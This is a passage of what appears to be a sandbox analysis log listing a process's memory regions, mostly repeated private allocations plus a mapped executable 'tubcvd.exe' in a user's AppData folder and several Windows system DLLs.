entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4501 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4502 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4503 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4504 start_va = 0x2ac0000 end_va = 0x2ad1fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4505 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4506 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4507 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4508 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4509 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4510 start_va = 0x2ac0000 end_va = 0x2ac0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4511 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4512 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4513 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4514 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4515 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4516 start_va = 0x2ac0000 end_va = 0x2ac6fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4517 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4518 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4519 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4520 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4521 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4522 start_va = 0x2ac0000 end_va = 0x2ac2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4523 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4524 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4525 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4526 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4527 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4528 start_va = 0x2ac0000 end_va = 0x2ac9fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4529 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4530 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4531 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4532 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4533 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4534 start_va = 0x2ac0000 end_va = 0x2acbfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4535 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4536 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4537 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4538 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4539 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4540 start_va = 0x2ac0000 end_va = 0x2ad3fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4541 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4542 start_va = 0x2870000 end_va = 0x2870fff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 4543 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4544 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4545 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4546 start_va = 0x2ac0000 end_va = 0x2ad0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4547 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4548 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4549 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4550 start_va = 0x2ac0000 end_va = 0x2acafff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4551 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4552 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4553 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4554 start_va = 0x2ac0000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4555 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4556 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4557 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4558 start_va = 0x2ac0000 end_va = 0x2ac0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4559 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4560 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4561 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4562 start_va = 0x2ac0000 end_va = 0x2acefff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4563 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4564 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4565 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4566 start_va = 0x2ac0000 end_va = 0x2ac2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4567 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4568 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4569 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4570 start_va = 0x2ac0000 end_va = 0x2acbfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4571 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4572 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4573 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4574 start_va = 0x2ac0000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4575 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4576 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4577 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4578 start_va = 0x2ac0000 end_va = 0x2ad8fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4579 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4580 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4581 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4582 start_va = 0x2ac0000 end_va = 0x2ad4fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4583 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4584 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4585 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4586 start_va = 0x2ac0000 end_va = 0x2ad5fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4587 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4588 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4589 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4590 start_va = 0x2ac0000 end_va = 0x2acbfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4591 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4592 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4593 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4594 start_va = 0x2ac0000 end_va = 0x2ac8fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4595 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4596 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4597 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4598 start_va = 0x2ac0000 end_va = 0x2accfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4599 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4600 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4601 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4602 start_va = 0x2ac0000 end_va = 0x2ad1fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4603 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4604 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4605 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4606 start_va = 0x2ac0000 end_va = 0x2ad3fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4607 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4608 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4609 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4610 start_va = 0x2ac0000 end_va = 0x2ac9fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4611 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4612 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4613 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4614 start_va = 0x2ac0000 end_va = 0x2ad5fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4615 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4616 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4617 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4618 start_va = 0x2ac0000 end_va = 0x2ac9fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4619 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4620 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4621 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4622 start_va = 0x2ac0000 end_va = 0x2ac9fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4623 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4624 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4625 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4626 start_va = 0x2ac0000 end_va = 0x2ac7fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4627 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4628 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4629 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4630 start_va = 0x2ac0000 end_va = 0x2ac7fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4631 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4632 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4633 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4634 start_va = 0x2ac0000 end_va = 0x2ac5fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4635 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4636 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4637 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4638 start_va = 0x2ac0000 end_va = 0x2ac2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4639 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4640 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4641 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4642 start_va = 0x2ac0000 end_va = 0x2ac9fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4643 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4644 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4645 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4646 start_va = 0x2ac0000 end_va = 0x2acdfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4647 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4648 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4649 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4650 start_va = 0x2ac0000 end_va = 0x2ad0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4651 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4652 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4653 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4654 start_va = 0x2ac0000 end_va = 0x2ac8fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4655 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4656 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4657 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4658 start_va = 0x2ac0000 end_va = 0x2ad5fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4659 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4660 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4661 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4662 start_va = 0x2ac0000 end_va = 0x2accfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4663 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4664 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4665 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4666 start_va = 0x2ac0000 end_va = 0x2acbfff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4667 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4668 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4669 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4670 start_va = 0x2ac0000 end_va = 0x2ad2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4671 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4672 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4673 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4674 start_va = 0x2ac0000 end_va = 0x2ac3fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4675 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4676 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4677 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4678 start_va = 0x2ac0000 end_va = 0x2ad6fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4679 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4680 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4681 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4682 start_va = 0x2ac0000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4683 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4684 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4685 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4686 start_va = 0x2ac0000 end_va = 0x2acefff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4687 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4688 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4689 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4690 start_va = 0x2ac0000 end_va = 0x2ac2fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4691 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4692 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4693 start_va = 0x29b0000 end_va = 0x2ab0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4694 start_va = 0x2ac0000 end_va = 0x2ad7fff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4695 start_va = 0x2880000 end_va = 0x2880fff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 4696 start_va = 0x29a0000 end_va = 0x29a0fff entry_point = 0x0 region_type = private name = "private_0x00000000029a0000" filename = "" Region: id = 4697 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 4698 start_va = 0x26d0000 end_va = 0x26d4fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 4699 start_va = 0x26e0000 end_va = 0x26e0fff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 4700 start_va = 0x26e0000 end_va = 0x26e0fff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 4701 start_va = 0x26f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 4702 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 4808 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 4809 start_va = 0x2730000 end_va = 0x2732fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 4810 start_va = 0x2760000 end_va = 0x2760fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 4811 start_va = 0x2770000 end_va = 0x2790fff entry_point = 0x2770000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 4812 start_va = 0x2760000 end_va = 0x2762fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 4813 start_va = 0x840000 end_va = 0x840fff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 4814 start_va = 0x26d0000 end_va = 0x26d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 4815 start_va = 0x2760000 end_va = 0x279ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 4816 start_va = 0x29c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 4817 start_va = 0x75560000 end_va = 0x75649fff entry_point = 0x75560000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4818 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 4819 start_va = 0x73350000 end_va = 0x73491fff entry_point = 0x73350000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 4820 start_va = 0x26e0000 end_va = 0x26e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026e0000" filename = "" Region: id = 4821 start_va = 0x75150000 end_va = 0x751d1fff entry_point = 0x75150000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4822 start_va = 0x26f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = pagefile_backed name = 